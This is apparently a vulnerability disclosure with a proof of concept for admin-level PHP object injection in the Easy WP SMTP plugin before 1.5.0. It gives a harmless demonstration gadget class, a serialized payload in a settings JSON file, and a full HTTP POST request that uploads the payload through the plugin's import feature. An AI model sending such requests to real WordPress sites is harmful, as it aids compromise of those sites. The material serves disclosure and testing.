Easy WP SMTP < 1.5.0 - Admin+ PHP Objection Injection

Proof of Concept

To simulate a gadget chain, put the following code in a plugin

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named settings.json with the following content and import it via the Import function of the plugin (in Additional Settings tab): O:4:"Evil":0:{};

POST /wp-admin/options-general.php?page=swpsmtp_settings HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------127630456919881657704041725253
Content-Length: 747
Connection: close
Cookie: [admin]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin

-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="swpsmtp_import_settings"

1
-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="swpsmtp_import_settings_file"; filename="easy_wp_smtp_settings.json"
Content-Type: application/json

O:4:"Evil":0:{};
-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="easy_wp_smtp_import_settings_nonce"

e1cde708ae
-----------------------------127630456919881657704041725253
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/options-general.php?page=swpsmtp_settings
-----------------------------127630456919881657704041725253--